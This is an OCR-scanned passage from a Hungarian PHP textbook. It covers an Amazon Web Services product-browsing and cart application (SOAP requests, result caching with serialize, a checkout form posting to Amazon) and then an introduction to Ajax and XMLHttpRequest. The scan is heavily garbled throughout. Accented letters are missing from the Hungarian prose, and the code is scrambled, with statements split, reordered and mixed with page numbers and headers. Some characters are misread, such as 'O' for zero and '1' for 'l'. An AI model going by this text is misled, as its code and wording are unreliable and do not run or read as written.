$this->imageUrlLarge = $xml['Largeimage']['URL'];
$this->listPrice
$this->listPrice
str replace('$',
' ',
$this->listPrice);
$this->listPrice
str_replace(', ',
'',
$this->listPrice);
$this-> listPrice
floatval($this->listPrice);
$this->ourPrice
$xml['OfferSummary']['LowestNewPrice']['FormattedPrice'];
$this->ourPrice
str_replace('$',
'',
$this->ourPrice);
$this->ourPrice
str_replace(', ',
'',
$this->ourPrice);
$this->ourPrice
floatval($this->ourPrice);
$this->salesRank
$xml['SalesRank'];
$this->availability = $xml['Offers']['Offer']['OfferListing']['Availability'];
$this->avgCustomerRating = $xml['CustomerReviews']['AverageRating'];
$reviewCount =
0;
if (is array($xml['CustomerReviews']['Review']))
foreach($xml['CustomerReviews'] ['Review'] as $review)
$this->reviews[$reviewCount]['Rating'] = $review['Rating'];
$this->reviews[$reviewCount] ['Summary']
$review['Summary'];
$similarProductCount
O;
if (is array($xml['SimilarProducts']['SimilarProduct']))
foreach($xml['SimilarProducts'] ['SimilarProduct'] as $similar)
33
588
33. fejezet
$this->similarProducts[$similarProductCount]['Title']
$this->similarProducts[$similarProductCount]['ASIN']
$similar['Title'];
$review['ASIN'];
$similarProductCount++;
else
(string)$xml->ASIN;
$this->productName
(string)$xml->ItemAttributes->Title;
if($xml->ItemAttributes->Author)
foreach($xml->ItemAttributes->Author as $author)
$this->authors[]
$this->releaseDate
(string)$xml->ItemAttributes->PublicationDate;
$this->manufacturer
(string)$author;
(string)$xml->ItemAttributes->Manufacturer;
$this->imageUrlMedium
$this->imageUrlLarge
(string)$xml->Mediumlmage->URL;
(string)$xml->Largelmage->URL;
$this->listPrice
(string)$xml->ItemAttributes->ListPrice->FormattedPrice;
$this->listPrice
str_replace('$',
'',
$this->listPrice);
$this->listPrice
str_replace(', ',
'',
$this->listPrice);
$this->listPrice
floatval($this->listPrice);
$this->ourPrice
33
(string)$xml->OfferSummary->LowestNewPrice->FormattedPrice;
$this->ourPrice
str_replace('$',
'',
$this->ourPrice);
$this->ourPrice
str_replace(', ',
'',
$this->ourPrice);
$this->ourPrice
floatval($this->ourPrice);
$this->salesRank
(string)$xml->SalesRank;
$this->availability
(string)$xml->Offers->Offer->OfferListing->Availability;
$this->avgCustomerRating
$reviewCount
(float)$xml->CustomerReviews->AverageRating;
0;
if($xml->CustomerReviews->Review)
foreach ($xml->CustomerReviews->Review as $review)
$this->reviews[$reviewCount]['Rating']
(float)$review->Rating;
$this->reviews[$reviewCount]['Summary']
$this->reviews[$reviewCount] ['Content']
(string)$review->Summary;
=
(string)$review->Content;
$reviewCount++;
$similarProductCount
O;
if($xml->SimilarProducts->SimilarProduct)
foreach ($xml->SimilarProducts->SimilarProduct as $similar)
(string)$similar->Title;
$this->similarProducts[$similarProductCount]['Title']
$this->similarProducts[$similarProductCount]['ASIN']
$similarProductCount++;
(string)$similar->ASIN;
589
return count($this->similarProducts);
function similarProduct($i)
return $this->similarProducts[$i];
function customerReviewCount()
return count($this->reviews);
function customerReviewRating($i)
function customerReviewSummary($i)
function customerReviewComment($i) {
return $this->reviews[$i]['Content'];
function valid()
if(isset($this->productName)
return true;
else
return false;
function ASIN()
return padASIN($this->ASIN);
function imageURLMedium()
return $this->imageUrlMedium;
function imageURLLarge()
return $this->imageUrlLarge;
function productName()
return $this->productName;
&&
($this->ourPrice>0.001)
&&
isset($this->ASIN)) {
33
590
33.
fejezet
function ourPrice ()
return number_format($this->ourPrice,2,
function listPrice()
function authors()
if(isset($this->authors))
return $this->authors;
else
return false;
function releaseDate()
if(isset($this->releaseDate))
return $this->releaseDate;
else
return false;
function avgCustomerRating()
if(isset($this->avgCustomerRating))
return $this->avgCustomerRating;
else
return false;
33
function manufacturer()
if(isset($this->manufacturer))
return $this->manufacturer;
else
return false;
function salesRank()
if(isset($this->salesRank))
return $this->salesRank;
else
return false;
function availability ()
if(isset($this->availability))
return $this->availability;
l else {
'');
'');
591
return false;
?>
Ez a konstruktor is krfle beviteli adatot fogad, de egyetlen alkalmazsfelletet hoz ltre. Lthatjuk, hogy mg a kezel kd
egy rszt ltalnosabb tehetjk, egyes trkksebb attribtumoknak - pldul az rtkelseknek (review) is - a vlasztort
mdszertl fggen eltr lehet a nevk.
Miutn az adatok visszakeresse rdekben vgigmentnk a fenti kdokon, most visszaadjuk a vezrlst a getARS(), illetve
ezltal a showBrowseNode () fggvnynek. A kvetkez lps gy nz ki:
showSummary($ars->products(),
$page,
$ars->tota1Results(),
$mode,
$browseNode);
A showSummary() fggvny pusztn megjelenti az AmazonResult Set objektumban lv adatokat, ahogy azt a korbbi
brkon mr lthattuk. Egyszersge miatt rszletesebben nem foglalkozunk a fggvnnyeL
'wsdl');
$soap_proxy = $soapclient->getProxy();
$request = array ('Service' => $this->Service,
'BrowseNode' => $this->BrowseNode,
'TotalPages' =>
$this->Tota1Pages);
$parameters = array('AWSAccessKeyid' => DEVTAG,
33
'Request'=>array($request));
ll a tnyleges soap lekrdezs vgrehajtsa
$result = $soap_proxy->ItemSearch($parameters);
if(isSOAPError($result))
return false;
$this->tota1Results = $result['Tota1Results'];
foreach($result['Items'] ['Item']
as $product)
'wsdl');
Itt kt paramtert adunk t a kliensnek. Az els a szolgltats WSDL-lersa, a msodik pedig azt kzli a SOAP klienssel,
hogy WSDL URL-rl van sz. gy is eljrhatrunk volna, hogy csak egy paramtert adunk t: a szolgltats vgpontjt, am
nem ms, mnt a SOAP szerver kzvetlen URL-je.
592
33. fejezet
A kvetkez kdsorbl lthatjuk, hogy j okunk volt mgis az elbbi mdszerr vlasztani:
$soap_proxy = $soapclient->getProxy(};
Ez a sor a WSDL dokumentumban lv informcik alapjn egy osztlyt hoz ltre. Ennek az osztlynak, vagyis a SOAP
proxynak kr, a Web Service merdusainak megfelel metdusa lesz. Ez jelentsen megknnyti letnket, mivel gy tudunk
kapcsolatba lpni a Web Service szolgltatssal, mintha az helyi PHP osztly lenne.
Ezt kveten a browsenode lekrdezsnek tadand krselemek tmbjt hozzuk ltre:
$request = array ('Service' => $this->Service,
'BrowseNode' => $this->BrowseNode,
Kt msik elemet kell mg tadni a krsnek: az AWSAccessKeyiD-t s az AssociateTaget. Ezeket, illetve a $request
tmb elemeit egy msik, $parameters nev tmbbe helyezzk:
$parameters = array('AWSAccessKeyid' => DEVTAG,
'Request'=>array($request}};
Ekkor aproxy osztlyt hasznlva egyszeren meghvjuk a Web Service metdusait, s a paramterek tmbjt acljuk t nekik:
$result = $soap_proxy->ItemSearch($parameters};
A $result tmbben eltrolt adatok egy tmb, amit Product objektumknt kzvetlenl az AmazonResultSet osztly
products tmbjben trolharunk el.
$parameters}
$cache = cached($type,
$parameters};
if ($cache}
ll ha megtallhat a gyorsttrban
return $cache;
else
$ars
33
{
=
new AmazonResultSet;
if($type == 'asin'}
$ars->ASINSearch(padASIN($parameters['asin']},
if($type
==
$parameters['mode']};
'browse'}
$ars->browseNodeSearch($parameters['browsenode'],
$parameters['page'],
$parameters['mode']};
if($type == 'search'}
$ars->keywordSearch($parameters['search'],
$parameters['page'],
$parameters['mode']};
cache($type,
$parameters,
$ars};
return $ars;
A SOAP s az XML gyorsttrazst is ezzel a fggvnnyel vgezzk el. A kpek gyorsttrba helyezshez ugyanak
kor egy msik fggvnyt is hasznlunk. Kezdskppen elszr meghvjuk a cached(} fggvnyt, hogy kidertsk, a krt
AmazonResul tSet objektum gyorsttrba lett-e mr helyezve. Ha igen, akkor ahelyett, hogy j krst intznnk az Ama
$parameters};
$parameters,
$ars);
Vizsgljuk meg kzelebbrl ezt a kt fggvnyt: cached () s cache () ! Ezek a 33.12 pldakdban lthat fggvnyek
valstjk meg az Amazon licencfelttelei kztt szerepl gyorsttrazst.
33.12 pldakd: A cached () s
ll ellenrizzk,
ll ha igen,
ll ha nem,
adjuk vissza!
false rtkkel tr vissza a fggvny
function cached($type,
if($type
$filename
$parameters)
'browse')
==
.$parameters['mode'l.' .dat';
if($type == 'search')
$filename
CACHE.'/search.'.$parameters['search'l.'.'.$parameters['page'l.'.'
.$parameters['mode'l.'.dat';
if($type == 'asin')
$filename
$data = file_get_contents($filename);
return unserialize($data);
$parameters,
$data)
if($type == 'browse')
$filename
CACHE. '/browse.'.$parameters['browsenode'l.'.'.$parameters['page'l.'.'
.$parameters['mode'l.' .dat';
if($type == 'search')
$filename = CACHE. 'lsearch.' . $parameters['search'l. '. '.$parameters ['page'l.'.'
.$parameters['mode'l.'.dat';
if($type == 'asin')
$filename = CACHE.'/asin.'.$parameters['asin'l.'.'.$parameters['mode'l.'.dat';
$data = serialize($data);
$fp
fopen($filename,
if(!$fp
echo
ll
'wb');
(fwrite($fp,
('<p>Error,
fclose($fp);
$data)==-!))
593
594
33. fejezet
A kdot tfutva lthatjuk, hogy a gyorsttrba kerl fjlokat olyan fjlnvvel troljuk el, ami a lekrdezs tpusbl s
a lekrdezs paramttereibl ll. A cache () fggvny szerializlva (sorosrva) trolja az eredmnyeket, a cached () fggvny
pedig visszalltja a szerializlt eredmnyeket. A cached () fggvny a licencfeltteleknek megfelelen fellrja az egy rnl
rgebbi adatokat.
A serialize() fggvny trolhat karakterlncc alaktja a trolt programadatokat. Az trtnik, hogy trolhat formra
alaktjuk az AmazonResult Set objektumokat. Az unserialize () fggvny meghvsa ennek pont fordtottjt vgzi:
a memriban lv adatstruktrra lltja vissza az eltrolt adatokat. Ne fele<ljk, hogy a szerializlt karakterlnc objektumm
visszalltshoz a fjlnak tartalmaznia kell az osztlydefincit!
Alkalmazsunkban a msodperc trt rszig tart az eredmnyhalmaz gyorsttrbl val visszakeresse, az l lekrdezs
ugyanakkor akr tz msodpercet is ignybe vehet.
$mode)
array('asin'=>$ASIN,
'mode'=>$mode));
if($ars) {
33
$products[)
= $ars->getProduct(O);
value=\"".$ASIN."\">";
595
</form>
<br />
<hl>eart eontents</hl>";
showSummary($products,
l, count($products), $mode,
0,
true);
function showSmalleart()
global $ SESSION;
echo "<table border=\"1\" cellpadding=\"1\" cellspacing=\"0\">
<tr><td class=\"cartheading\">Your eart $".
number forrnat( eartPrice (),
2). "</td></tr>
<tr><td class=\"cart\">".carteontents()."</td></tr>";
ll az Amazon.com kosrhoz csatlakoz rlap
echo "<form method=\"POST\"
action=\"http://www.amazon.comlgp/awslcart/add.html\">
<tr><td class=\"cartheading\"><a
href=\"index.php?action=showcart\"><img
src=\"images/details.gif\" border=\"0\"><la>";
foreach($_SESSION['cart'] as $ASIN=>$product)
$quantity = $_SESSION['cart'] [$ASIN]['quantity'];
echo "<input type=\"hidden\" name=\"ASIN.".$ASIN."\"
value=\"".$ASIN."\">";
-3,
3);
true);
$result = '';
$counter = 0;
ll ha tl hossz a termknv,
rvidtsk le'
33
596
33.fezet
foreach($display as $product)
if(strlen($product['name'l)<=40)
$result
else
$result
substr($product['name'l,
O,
$counter++;
hogy
return $result;
'',
$product['price'l) ;
$total += $price*$product['quantity'l;
return $total;
33
$ASIN,
$mode)
if(isset($eart[$ASINl ))
$eart [$ASINl['quantity'l +=l;
else
ll ellenrizzk,
$ars
new AmazonResultSet;
$product = $ars->ASINSearch($ASIN,
if($product->valid ())
$mode);
$cart[$ASINl = array('price'=>$product->ourPrice(),
'name' => $product->productName(),
'quantity' => l)
?>
$ASIN)
597
Ennl a kosrnl a korbbiakhoz kpest mshogyan hajtunk vgre nhny dolgot. Nzzk meg pldul az addToCart ()
fggvnyt! Amikor megprblunk betenni valamit a kosrba, ellenrizzk az ASIN kd rvnyessgt, s kiketessk az aktu
lis ( vagy legalbbis gyorsttrazott) rat.
A legrdekesebb krds a kvetkez: amikor a vsrlk fizetni akarnak, hogyan juttatjuk el adataikat azAmazonnak?
Fizets az Amazonnl
Nzzk meg kzelebbrl a 33.13 pldakdban lthat showeart () fggvnyt, annak is az albbi rszt:
ll az Amazon.com kosrhoz csatlakoz rlap ltrehozsa
echo "<form method=\"POST\"
action=\"http://www.amazon.com/gp/aws/cart/add.html\">";
foreach($cart as $ASIN=>$product)
$quantity
value=\"".$ASIN."\">";
A fizets gomb olyan rlapgomb, amely azAmazon oldalon lv kosrhoz kapcsolja a vsrl kosart. POST vltozkknt
elkldjk azASIN kdokat, a mennyisgeket s a partnerazonostnkat (Associate ID). s hkuszpkusz: kszen vagyunk!
A gombra kattints eredmnyt a korbban mr bemutatott 33.5 brn lthatjuk.
Ennek a felletnek az a problm:ija, hogy csak egyirny kommunikcit tesz lehetv.AzAmazon oldalon lv kosrhoz
hozzadhatunk ugyan tteleket, m eltvoltani nem rucijuk ket. Ez azt jelenti, hogy nem tudunk oldalunk s azAmazon k
ztt oda-vissza vltogatni annak veszlye nlkl, hogy megduplzzuk a kasarunkban lv ttelek pldnyszmt.
33
598
33. fejezet
A projekt tovbbfejlesztse
A projekt egyik kzenfekv tovbbfejlesztsi lehetsge a Tahuayo oldalon elrhet keressi tpusok kibvtse. Ha tovbbi
tletekre van s:zksgnk, kattintsunk az Amazon Web Services Resource Centerben elrhet, innovatv mintaalkalmazsok
ra mutat hivatkozsokra! Tovbbi informcirt olvassunk bele az Articles and Tutorials (Cikkek s oktatanyagok), illetve
a Community Code (Kzssgi kd) szakasz tartalmba is! A kosr funkci megvalstsa az Amazontl lekrt adatokkal
a leginkbb magtl rtetd feladat, m messze nem ez az egyetlen fejlesztsi lehetsg.
Tovbbi olvasnival
Rengeteg knyv s online informciforrs tallhat az XML s a Web Services tmakrben. Kivl kiindulpontot jelent
a W3C weboldala. rdemes megtekinteni tovbb az XML Working Group oldalt (http:/ /www.w3.org/XML/Core/) s
a Web Services Activity oldalt is (http://www.w3.org/2002/ws/).
33
34
Web 2.Q ...s alkalmazsok fejlesztse
Ajax ...programozssal
A vilghl szveget, illetve kpekre, hang- s videofjlokra mutat hivatkozsokat tartalmaz statikus oldalak sorozataknt
indult. A web jelents rsze a mai napig megrizte ezen llapott, ugyanakkor egyre tbb, szveggel s multimdis rartalom
mal teli oldalt dinamikusan, szerveroldali programozssal lltanak el; mi is pontosan ezt tettk a knyv eddig ltott alkal
mazsaiban. m a Web 2.0 eljvetele egyttal arra sztnzte a fejlesztker, hogy j mdszereket dolgozzanak ki arra, hogy
miknt rudnak a felhasznlk klcsnhatsba lpni a webszerverekkel s az informcit trol adatbzisokkal. Az egyik gyor
san terjed mdszer az Ajax- (AsynchronousJavaScript and XML, vagyis aszinkronJavaScript s XML) programozs, amivel
interaktv alkalmazsokat hozharunk ltre, ugyanakkor cskkenthetjk a statikus elemek visszakeressre fordtand idt.
megrteni a Web 2.0 Joga/mt, olvassuk el Tim O'Reilly dolgozatt a tmban, amely -
Mi azAjax:
Az Ajax nmagban
sem nem programozsi nyelv, sem nem technolgia. Az Ajax-programozs ezzel szemben jellernzen az
XML formzs adattvitelt tartalmaz, kliensoldaliJavaScript-programozs s a- pldul PHP-vel vgzett- szerveroldali
programozs kombincija. A fentieken tlmenen XHTML-t s CSS-r hasznlunk az Ajaxor tmogat tartalmak formz
sra s megjelentsre.
Az Ajax-programozs vgeredmnyben cltharbb s gyorsabb felhasznli felleret eredmnyez az adott alkalmazsban
- gondoljunk csak a Facebook, a Flickr vagy a Web 2.0 ltal elrrhe kerlt egyb kzssgi oldalak felleteirel Ezek az alkal
mazsok lehetv teszik a felhasznlnak, hogy az egsz oldal jbli berltse vagy megjelentse nlkl hajtsanak vgre kln
bz feladatokat, s pontosan itt kerl a kpbe az Ajax. A kliensoldali programozs a szerveroldali programozs egy kis rszt
hvja csak meg, pusztn a felhasznl bngszjben megjelentett aprnyi terleten, s csak ez az, amit jra kell rajzolni. Az
ilyen mvelet a klnll alkalmazsok mveleteinek eredmnyt minrzza, m webes krnyezetben teszi mindezt.
J plda erre, amikor azt hasonltjuk ssze, hogy rnilyen tblzatkezel alkalmazsban dolgozni , illetvernilyen a webolda
lakon megtekinteni egy adattal teli tblzatot. Az offline alkalmazsban a felhasznlnak lehetsge van a cellkat egyenknt
mdostani vagy kpleteket alkalmazni az egyes cellkban, rendezheti az oszlopokban lv adatokat, s mindezt anlkl teheti
meg, hogy el kellene hagynia az eredeti felletet. Ha statikus webes krnyezetben kattinrunk az egyes oszlopokat rendez hi
vatkozsokra, j krst kell kldeni a kiszolglnak, amire a kiszolgl j eredmnyt kld a bngsznek, az oldalt pedig jra
meg kell jelenteni a felhasznl szmra. Ajaxor tmogat webes krnyezetben az adott oszlopot gy lehet a felhasznl kr
sre sorba rendezni, hogy nem kell a teljes oldalt jra betlteni.
A mosr kvetkez oldalakon az Ajax hasznlata esetn szba jv technolgikat tekintjk t. Az itt olvashat lers tvolrl
sem teljes kr, de ha tovbbi informcira van szksgnk, a megadott forrsokon elindulharunk majd.
600
34. fejezet
fejezet/test.html
HTTP/1.1
(Windows;
U;
Windows NT
6.0;
en-US;
rv:l.9.0.1)
Firefox/3.0.1
s/vagy
Accept: text/plain,
text/html
Az llapotkd els szmjegye ( jelen esetben a 200-on bell a 2-es) a vlaszra utal. Az l-essel kezdd llapatkdok
tjkoztat jellegek, a 2-essel kezddk a sikeres vlaszt, a 3-assal kezddk az tirnytst jelzik, a 4-essel kezddk
olyan klienshibkat, mint a hinyz elem (404), az 5-ssel kezddk pedig olyan szerverhibkat, mint pldul a hibsan
kialaktott kd (500).
A HTTP llapatkdok listjt a http://www.w3.org/Protocols/rfc2616/ oldalon talljuk.
Opcionlis fejlcsarok paramter: rtk formban, pldul gy:
Server: Apache/2.2.9
Last-Modified: Fri,
D HTML s XHTML
A Dinamikus HTML (DHTML) a statikus HTML, a Caseaciing Style Sheets (egymsba gyazott stluslapok, CSS) s
a JavaScript kombinlt alkalmazsra utal. Ebben a Document Object Model (dokumentumobjektum-modell, DOM) segt
sgvel vltoztatjuk meg ltszlag statikus weboldal megjelenst azt kveten, hogy annak minden eleme betltdtt. Els
34
rnzsre ez a mkds igen hasonl az Ajaxot tmogat oldalakhoz, s bizonyos szempontbl ez igaz is. A klnbsg a kliens
s a kiszolgl kztti aszinkron kapcsolatban rejlik - erre az aszinkron kapcsolatra utal az Ajax els"!\' betje.
Noha egy DHTML ltal vezrelt oldal dinamikus viselkedst mutathat a navigcit segt legrdl menkben vagy a ko
rbbi vlasztsoktl fggen vltoz rlapelemekben, az ezekhez szksges sszes adat mr korbban vissza lett keresve. Ha
pldul olyan DHTML oldalt terveznk, amely valamilyen szveg els rszt jelenti meg, arnikor a felhasznl egy hivatkozs
vagy gomb fl viszi az egeret, s ugyanennek a szvegnek a msodik rszt mutatja, amikor msik hivatkozs vagy gomb fl
viszi, a bngsz ekkorra mr mindkt szvegrszt betlttte. A fejleszt rvidke JavaScript kdot hasznlt, ami a felhasznl
egernek mozgstl fggen be- vagy kikapcsolja a visibility (lthatsg) CSS attribtumot. Ajaxot tmogat oldal esetn
a ktfle szvegnek fenntartott terletet minden bizonnyal a kiszolglhoz intzett tvoli szkriptmeghvs eredmnyeknt tl
tennk fel, mikzben az oldal tbbi rsze statikus maradna.
Az Extensible Hypertext Markup Language (kiterjeszthet hiperszveg-ler nyelv, XHTML) abban a tekintetben
a HTML-hez s a DHTML-hez hasonlan mkdik, hogy mindhrmat klienseszkzn (webes bngszn, telefonon vagy
egyb kzi eszkzn) megjelentend tartalom lersra hasznljuk, s a megjelents jobb szablyozhatsga rdekben meg
engedik a CSS integrcijt. Az XHTML s a HTML kztti klnbsgek kz tartozik az, ahogyan az X HTML alkalmaz
kodik az XML szintaktikjhoz, s ahogyan az XHTML - a szabvnyos bngszeszkzkn tlmenen - XML eszkzk
kel is rtelmezhet.
601
Az XHTML-ben teljes egszben kisbecvel rjuk az elemeket (pldul <head></head> a <HEAD></HEAD> helyett) s
az attribtumokat (pldul href a HREF helyett). Ezen kvl minden attribtumrtket egyszeres vagy ktszeres idzjelek
kz kell rni, s minden elemet egyrtelmen be kell zrni- cmkepr esetn zr cmkvel, egyetlen (singleton) elem esetn
pedig pldul <img /> vagy <br/> cmkvel.
Az XHTML-rl a http://www.w3.org/TR/xhtmll/ oldalon olvashatunk bvebben.
{
background:
white
font-family:
font-size:
[or
Verdana,
#fff or
#ffffff];
sans-serif;
12pt;
font-weight:
normal;
Ezek az rtkek mindaddig rvnyben maradnak az oldalon, amg olyan elemhez nem rnk, amelynek stlust stluslapban
definiltuk. Amikor pldul hl cmkvel tallkozik a kliens, hl szveg fog megjelenni, pontosan gy, ahogy azt meghatroz
tk szmra- valsznleg a 12 pontosnl nagyobb mretben s bold, azaz flkvr stlusban.
A kivlasztk mellett sajt osztlyokat s ID-kat is meghatrozhatunk a stluslapon. Az osztlyok (amiket adott oldal akr
tbb elemn is hasznlhatunk) s az ID-k (amiket adott oldalon bell csak egyszer hasznlhatunk) segtsgvel mg inkbb
finomthatjuk a weboldalon bell megjelentett elemek Icinzett s mkdst. Ez a finomhangols klnsen fontos lehet
az Ajaxot tmogarni kpes weboldalakon, mert ott dokumentumunk elre meghatrozott terletein jelentnk meg tvoli
szkriptmeghvssal lekrt j informcit.
Az osztlyokat a kivlasztkhoz hasonlan definiljuk- a defincik kapcsos zrjelek kz kerlnek, s egymstl pontos
vesszvel vlasztjuk el azokat. Nzzk meg pldul az ajaxterulet nev osztly definilst:
.ajaxterulet
width:
height:
{
400px;
400px;
background:
border:
#fff;
lpx solid
34
#OOO;
Az ebben a pldban szerepl ajaxterulet osztly, amikor div trolra (container) alkalmazzuk, egy 400
400 kp
pontos, fehr htter, vkony s fehr krvonal ngyzetet hoz ltre. A kvetkezkppen hasznljuk:
<div class="ajaxterulet">valamilyen szveg</div>
A stluslapok hasznlatnak legelterjedtebb mdszere, hogy ltrehozunk egy klnll, az sszes stlusdefincit tartalmaz
fjlt, majd HTML dokumentumunk he ad elemben hivatkozunk erre a fjlra, pldul gy:
<head>
<link rel="stylesheet"
</head>
Kliensoldali programozs
A kliensoldali programozs azt kveten trtnik meg bngsznkn bell, hogy egy oldalt teljes mrtkben letltttnk
a kiszolglrL Az sszes programozsi funkci a kiszolglrl lekrt adatokban helyezkedik el, vrva arra, hogy mkdsbe
602
34.fezet
lpjen.A kliensoldalon vgrehajtott gyakori mveletek kz tartozik szveg vagy kp egyes rszeinek megjelentse vagy el
rejtse, szveg vagy kp sznnek, mretnek vagy helynek megvltoztatsa, szmtsok vgrehajtsa, illetve az rlapba bevitt
felhasznli input ellenrzse-az eltt, hogy elkldennk szerveroldali feldolgozsra.
A legelterjedtebb kliensoldali szkriptnyelv a JavaScript-az Ajax J" betje. A VBScript is kliensoldali szkriptnyelv, de mivel
"
Microsoft-specifikus, gy nylt forrskd krnyezetekben, ahol brmilyen opercis rendszerrel s bngszvel tallkozha
tunk, nem a legjobb vlaszts.
Szerveroldali programozs
A szerveroldali programozs kategrijba tartozik a kiszolgln tallhat minden kd, amit a kliensnek kldend vlasz eltt
a kiszolgl rtelmez vagy lefordt. A szerveroldali programozs jellemzen adatbzisokhoz trtn szerveroldali kapcsold
sokat foglal magban; az adatbzisnak kldtt krsek s az onnan fogadott vlaszok ezrt a kdok rszt kpezik.
Ezeket a kdokat brmilyen szerveroldali nyelven megrhatjuk, legyen az Perl, JSP, ASP vagy PHP (a fejezet pldiban
nyilvnval okokbl ez utbbit hasznljuk).Mivel a szerveroldali kdra adott vlasz ltalban a szabvnyos HTML valamilyen
vltozatban lert adat megjelentse, a vgfelhasznl krnyezet kevsb fontos szmunkra.
XMLsXSLT
Az XML-lel a 33.fejezetben mr tallkozhattunk, ahol formtumnak, szerkezetnek s hasznlatnak alapjairl is olvas
hattunk. Az Ajax alkalmazsok szempontjbl az XML-t-amely egybknt az Ajax.X" betje-az adatok kicserlsre, az
XLST-t pedig az adatok kezelsre hasznljuk.Magukat az adatokat az ltalunk ltrehozott Ajax alkalmazssal kldjk, vagy
abbl keressk vissza.
Az XML-rl a http://www.w3.org/XML/, az XSL-rl pedig a http://www.w3.org/TR/xslt20/ oldalon tallunk bvebb
lerst.
Ajax alapok
34
Miutn megismerkedtnk az Ajax alkalmazsok lehetsges sszetevivel, ebben a rszben ezeket az alkotelemeket sszerakva
akci kzben vizsglunk meg egy mkd pldt. Kzben egy pillanatra se felejtsk el, hogy az Ajax hasznlarnak egyik el
sdleges indoka az, hogy a felhasznl mveleteire azonnal, az oldal teljes frisstse nlkl vlaszolni kpes interaktv webolda
lakat lltsunk el!
Hogy elrjk ezt a clr, az Ajax alkalmazsok egy tovbbi feldolgozsi rteggel is rendelkeznek, amely a lekrt weboldal s az
annak ellltsrt felel webszerver kztt helyezkedik el. Ezt a rteget Ajax Frameworknek (Ajax keretrendszernek) vagy
Ajax Engine-nek (Ajax motornak) szoktk nevezni. A keretrendszer feladata, hogy kezelje a felhasznl s a webes kiszolgl
kztti krseket, s gy kommunikljon ezekkel a krsekkel s vlaszokkal, hogy az ne ignyeljen tovbbi mveleteket (pld
ul az oldal jrarajzolst), illetve ne szakitsa flbe a felhasznl ltal aktulisan vgzett mveletet (pldul a grgetst, a kattin
tst vagy szvegrmb olvasst).
A kvetkez oldalakon arrl olvashatunk, hogyan teremtik meg az Ajax alkalmazsok egymssal egyttmkd alkotele
mei a zavartalan felhasznli lmnyt.
AzXMLHTTPRequest objektum
A fejezet korbbi rszben esett mr sz a HTTP krsekrl s vlaszokrl, illetve arrl, hogyan lehet Ajax alkalmazson bell
kliensoldali programozst hasznlni.A webszerverhez kapcsoldshoz s az eredeti oldal teljes jratltse nlkli krsekhez
az XMLHTTPRequest nev specilis JavaScript objektumra lesz szksgnk.
Megjegyzs: Az XMLHTTPRequest objektum biztonsgi okokbl csak az ugyanazon domainen belli URL-eket tudja
meghvni; tvoli kiszolglkat kzvetlenl nem hvhat meg.
Az XMLHTTPRequest objektumot szoks az Ajax alkalmazsok szvnek-lelknek" nevezni, mivel ez az objektum tlti be
"
a kliens krse s a kiszolgl vlasza kztti tjr (gateway) szerept.Rvidesen megtudjuk ugyan, hogy hogyan hozhatjuk
ltre s hasznlhatjuk az XMLHTTPRequest objektum egy pldnyt, m ha szeretnnk a tmval bvebben foglalkozni, lto
gassunk el a http:/ /www.w3.org/TR/XMLHttpRequest/ oldalra!
Az XMLHTTPRequest objektum tbb attribtummal rendelkezik, a 34.1 tblzatban olvashatjuk ezeket.
34.1 tblzat: Az
603
Attribtu m
Lers
onreadystatechange
readyState
A lekrs llapota, amelyet egsz szmok jelkpeznek: O (nem inicializlt), l (tltdik), 2 (be
tltdtt), 3 (interaktv) s 4 (befejezett).
re sponseText
responseXml
status
statusText
Az XMLHTTPRequest objektumnak klnbz metdusai is vannak, a 34.2 tblzat ezeket mutatja be.
34.2 tblzat: Az XMLHTTPRequest
objektum metdusai
Metdus
Lers
abort()
Lellrja a krst.
getAllResponseHeaders()
getResponseHeader(header)
open('method',
'URL',
Paramcerei a HTTP mdszert (pldul POST vagy GET), a cl URL-t, illetve azt
'a')
hatrozzk meg, hogy a krs aszinkron legyen-e (az a igaz) vagy sem (az
a hamis).
send(content)
setRequestHeader('x',
Paramter
'y')
(x) s rtk (y) prt llt be, s fejlcknt elkldi a krssel egytt.
Az XMLHTTPRequest osztly hasznlathoz elszr is ltte kell hozni egy pldnyt. Ehhez nem elg csupn a kvetkez
kdsort begpelni:
var keres = new XMLHTTPRequest();
Ez ugyan az Internet Explorertl klnbz bngszkn minden tovbbi nlkl mkdne, m jellernzen rnindenki sz
mra elrhet kdot kvnunk rni. Az XMLHTTPRequest objektum rninden bngszben mkd, j pldnynak ltreho
zshoz az albbi JavaScript kdot kell hasznlni:
function getXMLHTTPRequest()
var keres
try
= false;
/* Firefaxhoz */
keres
= new XMLHttpRequest();
catch (hiba)
try
34
/* egyes IE verzikhoz */
keres
= new ActiveXObject("Msxml2.XMLHTTP");
catch (hiba)
try
/* ms IE verzikhoz */
keres
= new ActiveXObject("Microsoft.XMLHTTP");
catch (hiba)
keres
return keres;
= false;
\.
604
34.fezet
Ha ezt a JavaScript kdrszletet berjuk egy ajax_ fuggvenyek.js nev fjlba, majd az llomnyt elhelyezzk kiszolg
lnkon, mris lerakruk Ajax fggvnyknyvtrunk alapjait.
Ha az XMLHTTPRequest objekrum j pldnyt kivnjuk ltrehozni Ajax alkalmazsunkban, beillesztjk a fggvnyein
ket tartalmaz fjlt:
<scr1pt src="aJaX
fuggvenyek.js" type="text/javascript"></scr1pt>
A kvetkez rszben jabb puzzle darabot adunk hozz Ajax fggvnyfjl unkhoz.
Kommunikci
szerverrel
Az elz rszben ltott pldakddal mindssze egy j XMLHTTPRequest objekrum ltrehozst hajtorruk vgre, tny
leges kommunikcis feladatra mg nem kerlt sor.A kvetkez pldban ltrehozzuk a kiszolglnak, egszen pomosan
a szerverido.php nev PHP kdnak krst kld JavaScript fggvnyt.
function getSzerverido
var azOldal =
()
'szerverido.php';
velSzam = parselnt(Math.random()*999999999999999);
var azURL = azOldal
+"?rand="+velSzam;
sajatKeres.open("GET",
azURL,
sajatKeres.onreadystatechange
true);
=
aHTTPValasz;
sajatKeres.send(null);
A fggvnyben a kd els sora ltreh02:za azazOldal nev vltozt, s egyttal a szerverido.php rtkt rendeli
hozz. Ez a neve a kiszolgln tallhat PHP kdnak.
A kvetkez sor els rnzsre teljesen feleslegesnek tnhet, hiszen egy vletlen szmot llt el. Jogos a krds: Mi kze
van egy vletlen szmnak a szerverid lekrshez? A vlasz az, hogy a vleden szmra nem kzvetlenl a kd miatt van
szksg. Azrt hozzuk ltre, illetve azrt fzzk hozz a kd harmadik sorban az URL-hez, hogy elkerljk az esetleges
problmkat, amik a krs bngsz (vagy proxy) ltali gyorsttrazsbl addhatnak. Ha az URL egyszeren az lenne,
hogy http://kiszolgalonk/kodunk.php, az eredmnyek gyorsttrba kerlhetnnek. Ha viszont http://kiszolgalonk/kodunk.
php?rand=veletlenertek formban lltjuk el az URL-t, akkor nem lesz mit gyorsttrazni, hiszen minden egyes alkalommal
